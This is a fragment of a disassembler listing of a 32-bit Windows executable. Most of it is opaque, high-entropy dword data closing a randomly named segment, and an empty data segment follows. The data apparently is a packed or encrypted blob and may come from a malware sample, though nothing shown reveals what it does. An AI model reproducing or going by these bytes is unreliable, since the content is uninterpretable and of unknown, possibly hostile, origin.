		dd 18h,	308E301Dh, 30AC309Bh, 30C030B0h, 5 dup(0)
		dd 0BA1CD3CEh, 6C0090DEh, 37143E55h, 6B9A6D55h,	89E0B976h
		dd 38593E56h, 4B1DD133h, 91571EBAh, 87433A2Ch, 76DEEA98h
		dd 2B401EE3h, 0D058EAA6h, 78C7648Bh, 270BFBBh, 0A2A7A04Ah
		dd 75EFF09h, 2BDC812h, 1F3D5792h, 0CA4AEB9Bh, 1E65B232h
		dd 0E568D244h, 0F3D392A0h, 0A92BA1E4h, 18D1207Ah, 15C682FFh
		dd 0D6E82F02h, 3B4ACB7h, 9AB68847h, 55FC8B93h, 51AB30C1h
		dd 5F87993Eh, 0AE0B7765h, 6E74F6ACh, 0C96BC644h, 0AFFDD682h
		dd 0D3F61636h, 0C6F3B238h, 0EE28E6FFh, 4679FB1Fh, 50292F12h
		dd 0C5A893AFh, 0E9AC5D53h, 6C4A616Ah, 85979D28h, 6855F4BEh
		dd 0C789DB45h, 21ABB325h, 53FC5794h, 2321D45Eh,	0DE01169Bh
		dd 0B68A8F71h, 0AE5CFBC9h, 1B736160h, 48E642A3h, 8BB7B971h
		dd 8DDC0AC2h, 0B3B3BC46h, 8FD2F29Ah, 0B885B21Ah, 0DADD0E31h
		dd 95564B30h, 2F5B6B28h, 690C20F2h, 94FCBC30h, 0CE92AB27h
		dd 22770307h, 9388ED94h, 376077E1h, 0D157D0C9h,	0BA8887BAh
		dd 8A487F86h, 0DECE9158h, 605229FEh, 7A506683h,	1E19588Dh
		dd 0F524093Fh, 7D702953h, 0A950BC86h, 8C71230h,	0C5C71CF5h
		dd 532084E5h, 17030C6h,	0F4F4EFE7h, 7AF2CE57h, 318D3EAAh
		dd 4A37EA34h, 0D7829837h, 0D5689B32h, 0E127B603h, 89BCB083h
		dd 0B28A70B9h, 0C731849Ah, 42B27FBBh, 0F775DA9Ch, 5105B346h
		dd 88F81C7Bh, 71B9512Ah, 0D077EFD5h, 0D708AD14h, 48854F49h
		dd 6DE8D529h, 0E9F20234h, 73BD9D9Bh, 240E65FBh,	2CEA963Ch
		dd 14422287h, 681EFE42h, 33083143h, 7B35A908h, 0F21EB206h
		dd 9C7CD5F5h, 2A748C42h, 47638602h, 3F06C322h, 0B1F34318h
		dd 0BC99DEAh, 0CF7906B7h, 523FB2F3h, 0D25A1C44h, 3993EE17h
		dd 789C4B8h, 9AF4D7DAh,	0B086D1E9h, 6CFB2280h, 73768D28h
		dd 0E6B6FE41h, 4C200248h, 617C021Eh, 23678110h,	80EDEAE4h
		dd 1CE634EAh, 8EE6ECA1h, 0C1983C51h, 9C116C45h,	9DCBE08Dh
		dd 1861A54Ah, 0A8F8B86Ch, 37099971h, 156D7ECFh,	11C615C2h
		dd 168E42FEh, 0CF22713h, 4AEFD8CBh, 8F0FA7BBh, 4184238Bh
		dd 26462246h, 7CFD5DFAh, 83AE2A2Eh, 62BF8E92h, 1FFFE449h
		dd 0A93F9A8Bh, 0EB21BD75h, 5E1C6827h, 24D3C3BCh, 0F3007091h
		dd 2A263EF4h, 81B6A37Eh, 90E759C2h, 7DD76E31h, 0A7BDF536h
		dd 680B883h, 68FF3C34h,	0AE2DA216h, 0DB448A1Dh,	2B79C0DDh
		dd 0B12F57D1h, 597090D8h, 1D270625h, 58510DEDh,	0A6EC75D9h
		dd 1EB19D63h, 6BB2B783h, 27D19803h, 0C4517126h,	0C58EE523h
		dd 0AFB1DB76h, 0C48C80D1h, 0E7FF3691h, 8C3BC95Ah, 0F7278A5Ch
		dd 894C5EC1h, 0A53A958Ch, 4D986FBCh, 519CF6CFh,	74948E8Fh
		dd 57797567h, 579DB94h,	0A6F5677Ch, 0BD1192B2h,	0F2BF98CFh
		dd 4906A4D6h, 0AA79CB0Ch, 0C5080414h, 0EEA850F7h, 84CFCA3Fh
		dd 0BC13F431h, 4CA0656Eh, 6F7DBFEBh, 8806AFD1h,	0E26C8A18h
		dd 74DFF9EDh, 2EE5350Dh, 0AFA5C112h, 54C5161Ch,	0A2F88BD8h
		dd 3969528h, 741EAFE7h,	2F54F90Ch, 0A4DF05C9h, 368C795Dh
		dd 3CB5ED73h, 0E9612436h, 0B1833CDCh, 0A0964FCh, 9A477E2h
		dd 0EDFC2888h, 13F968B4h, 3BB91242h, 53CB5353h,	81524F0Eh
		dd 5A5997B7h, 11157DBCh, 5240C568h, 0AF0DBB42h,	0EE4C569Dh
		dd 0FD5B3D42h, 0A383F2F9h, 0DA6BDA11h, 0ECDFB72Ah, 9D501BA1h
		dd 0AB066872h, 3A375B4Dh, 6FBDC5EAh, 9224CE0Bh,	5546D226h
		dd 5A08C15h, 39112733h,	0D04F85EEh, 71EED2DBh, 0D5884176h
		dd 0BA896564h, 78C82D69h, 4A95716Bh, 464846C0h,	0A7F4F203h
		dd 4D8BA9A0h, 17BA29EFh, 5EB19E6Dh, 8A9FB025h, 590A0D2Eh
		dd 16584261h, 117C3578h, 4E423BD6h, 29E94428h, 48CEDB8h
		dd 0F64E0DD9h, 0C737E43Ch, 1FD44D4Ah, 21EBB185h, 6518A747h
		dd 0FD45FF69h, 77282B4Ch, 0DAC9246Ah, 54B7D47Fh, 0CB93EC53h
		dd 95A059B3h, 8AD2207Bh, 0D8814CEBh, 4B4F5502h,	39C41F8Bh
		dd 2DF0096Eh, 4C9652F2h, 0B977C4F7h, 2E58013Ch,	0ACBD5100h
		dd 661A042Ch, 5831D92h,	7C9F4634h, 0B0A9222Ah, 1838E57Fh
		dd 23EBC815h, 2C539731h, 0B095AD00h, 0BE4DBCA8h, 493A77E7h
		dd 93BBB509h, 0C9816812h, 0EF8742D6h, 0C1611106h, 976A6333h
		dd 85436B30h, 6BC95607h, 198A24D9h, 60A830E9h, 0FBC063DCh
		dd 2BB25452h, 0BE408033h, 8BC90DBCh, 5E06323Eh,	16D7B7DFh
		dd 0FB465314h, 0FE1C92D8h, 0F4C036B7h, 6DAD2DD7h, 0BC54C832h
		dd 0FF3CFC5Ah, 7DA2C00Ah, 0EE78E842h, 0BFAB0EC1h, 48573663h
		dd 0D38CFE59h, 0C5B2DCF7h, 0E5711636h, 0FDD8DFF4h, 6142897Fh
		dd 57F0E9C9h, 0E57F9098h, 2814DC7Dh, 60ACF37Ah,	9B596B4Dh
		dd 8BCE830h, 7F8C613Eh,	0ED500C3Ch, 5EF60FA2h, 0EA573FC3h
		dd 139DCBD2h, 0B96356B5h, 5FBFE91h, 0D24B9372h,	93C9FA57h
		dd 0FD89E88Bh, 0F91EB064h, 0B6525E33h, 0E1D662BFh, 0F9C8BEAEh
		dd 3186B080h, 5BBCBC1Dh, 8A906597h, 0F690AC25h,	44CB97E9h
		dd 26EDDD24h, 5681F8BEh, 5C3854F2h, 0A9F46D80h,	0CFA3BC75h
		dd 0CFF74DAh, 1FBE99CAh, 0D2923705h, 0BC2A7601h, 0BD50BE3Dh
		dd 4D0256A5h, 837D5E02h, 0ECA5E564h, 8A9B7F9Dh,	71960A13h
		dd 64029C13h, 42B3EF85h, 0C32D3F7Fh, 0F458BDECh, 6F777096h
		dd 702926DCh, 97221F28h, 6475CF5Ah, 456522D8h, 3883257Eh
		dd 74A1A171h, 0ACDD6F10h, 6F492496h, 31AAA1B9h,	1F3B0898h
		dd 87B56BE2h, 92AD06EFh, 0F9DAEB7Ah, 0E7EE9631h, 41ABB6A5h
		dd 7E59EB74h, 61847B2h,	0AB40E125h, 61622AB5h, 41C4695Ah
		dd 4557C8DEh, 0A668A262h, 915FA908h, 5632013Ch,	193D3F5Dh
		dd 468B2982h, 0D64F700Bh, 44CAB992h, 0B696B868h, 9972C765h
		dd 2CDC14FDh, 0B81AFD21h, 74133CFEh, 80278756h,	0C6016D39h
		dd 0D957DC2Bh, 2EAF940Bh, 0F7A133A7h, 767CD369h, 0D462CB35h
		dd 2D142F9Fh, 0B84E0704h, 1BC84D6h, 9655056Fh, 0E2823841h
		dd 210249FEh, 5913F233h, 1F542810h, 8420C388h, 1ED4E640h
		dd 5D6AF289h, 0A30B6DC6h, 5BC121D3h, 0E9F341A9h, 173E4C47h
		dd 62244681h, 0E61E1E97h, 0BFFA1FFEh, 907E7AD3h, 0F0BC86B5h
		dd 0D97F96DBh, 0FFED71AAh, 0A4C349DAh, 2A55E5A7h, 908B631Ch
		dd 0CE3443F3h, 3714C427h, 0F2392EBFh, 7D991318h, 0FDE41511h
		dd 937F3396h, 0FBE616D4h, 5CF2FD36h, 0DA053D64h, 64267DDEh
		dd 0D898E90Dh, 0FF9C1730h, 6C126B12h, 0F45979E6h, 0CE244DFBh
		dd 4F44213Ch, 0DF517A33h, 3F47F6FDh, 72CA3074h,	66416B17h
		dd 5EFDD447h, 534DABFCh, 75FED3ABh, 0CB2A4D23h,	507286F6h
		dd 0A1872DE6h, 0F7AA3533h, 81ABD30Dh, 0C1F56F88h, 7951E4DFh
		dd 1C9C5A8h, 0BCF2B9EFh, 2C66F0A5h, 0C34A33D7h,	0F0AFB724h
		dd 96B5C51Fh, 258DFAFAh, 255427D9h, 974BA14Ch, 44FDAC8Fh
		dd 0E35C7BB7h, 0E2838EC7h, 2B593AB8h, 55EBB981h, 0B9D56D56h
		dd 96AA3580h, 1FBD7C9Eh, 0F5066644h, 8E01EC6h, 0BD1F0A41h
		dd 0CAF48C05h, 0A6B45FA7h, 0CA9888E4h, 182DE8B0h, 0F4772ADCh
		dd 5D14135Fh, 0B9EC1ADEh, 2A2239C7h, 16710E03h,	6F80ED4Ch
		dd 0FDBF8D6Ah, 806BF845h, 0E31A1A17h, 0BED9E870h, 19E139E3h
		dd 418D04DBh, 0DA99922Eh, 626DA59Fh, 621215E4h,	0B15885E4h
		dd 0B143B752h, 0F83F6CFDh, 27D9EDB2h, 38141E6Ch, 9301FE2h
		dd 280E1753h, 0CBFA9E04h, 0E4F2EA9Dh, 511BC065h, 0EC7FA2BEh
		dd 8941DFE8h, 0E2238E54h, 8D1B5DDFh, 3C76D24Ah,	0E5135D82h
		dd 0E6959DCAh, 0E6C10696h
		dd 9B884FB1h, 85C22DACh, 26FF6AD8h, 73EDBED9h, 87E6B242h
		dd 93D81C20h, 936B7A36h, 0FC4D21ACh, 0D0DCADA9h, 0FEEAE9A2h
		dd 568114A4h, 808A2225h, 65B66FE3h, 90B78A96h, 22C82F4h
		dd 0E48CA2EAh, 0A7FB043Ch, 23E8C1D2h, 0DF2FEB5Fh, 0E1E9D27Bh
		dd 0A8B7CEFCh, 54F24C98h, 6EA22DB9h, 0B027D85Ah, 164A43A6h
		dd 44AAC430h, 71FE4662h, 2F52C90Ch, 0F9CB91A4h,	0E2550608h
		dd 0AA2E3D69h, 84893E9h, 69D3A946h, 0AB9801B2h,	3010DC1Fh
		dd 8E701E46h, 0DD40E62h, 6FA6CBAAh, 50181E47h, 0F3DF9B0Dh
		dd 0A10E2CB0h, 9C9464AEh, 2D2B0072h, 0E95CA62h,	0A845FB3Dh
		dd 0D69A6A15h, 7C402253h, 0B6490A05h, 6D6ED917h, 8EA905BCh
		dd 70C02408h, 7D48C69Dh, 3A6755F6h, 0B9B06A69h,	517B3CB6h
		dd 47D33009h, 0AAEE4058h, 0DEC9E4F9h, 99C2BE2Ch, 99EA8DF7h
		dd 38FCA10Eh, 384215A3h, 0A1FC1AB7h, 0A106CB0Eh, 0E63802FDh
		dd 529514A3h, 0DAF261B0h, 36C35D2Dh, 44808AEDh,	1F81F47h
		dd 0D38D800Ah, 12D82DE8h, 30090B7Ch, 0FE24ABA0h, 84D20BD4h
		dd 87855FE2h, 0B865A80h, 0F775B0F4h, 1FB31A78h,	7C8563A1h
		dd 0A967B871h, 0CE7B5C2Bh, 309B3AF5h, 50795AB1h, 0BC3E72E6h
		dd 0DB78A4DFh, 7612328h, 0DB17AD3Ch, 0F717E185h, 86A6975Fh
		dd 736CCB36h, 0F9084A11h, 778987B6h, 4EC6876Ah,	0E6FA0D20h
		dd 0ECB32F31h, 37D89EEDh, 70E575EFh, 707997DAh,	73E192DCh
		dd 55D246DAh, 37A23EBBh, 0DB597475h, 25DD17DFh,	4F944A76h
		dd 5AD9411Bh, 63EC6BBh,	79DE6DB2h, 5A8C1F07h, 0E5E7C3BBh
		dd 1CD7B962h, 4D24D827h, 0AE676CC0h, 0E247643h,	0FC3569C3h
		dd 75B36DE7h, 0B99D14F9h, 1B40FA96h, 0B3100551h, 0CE868155h
		dd 0D0CE110Dh, 33065D9Eh, 375A9077h, 30798BC4h,	9C8E2AAEh
		dd 5706FC07h, 0F061C6Eh, 827F56CBh, 38FBADEBh, 2D6FEC98h
		dd 0C2050E6Bh, 29CE7BE4h, 1E102CA4h, 0AD42F209h, 4DCFFC33h
		dd 197C8C75h, 0AC785676h, 0D8D53836h, 89025B56h, 84491662h
		dd 1BAB535Fh, 0FF349660h, 0F0C579AEh, 26176C9h,	0C3B7928Fh
		dd 0F522B35Eh, 0A83BEE95h, 0F91BA997h, 32DB459Eh, 0E8FFE16Eh
		dd 7788064h, 0A9A45286h, 0A7731EC7h
_52zm3c3w	ends

; Section 4. (virtual address 00013000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00013000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 413000h
		align 2000h
_idata2		ends


		end start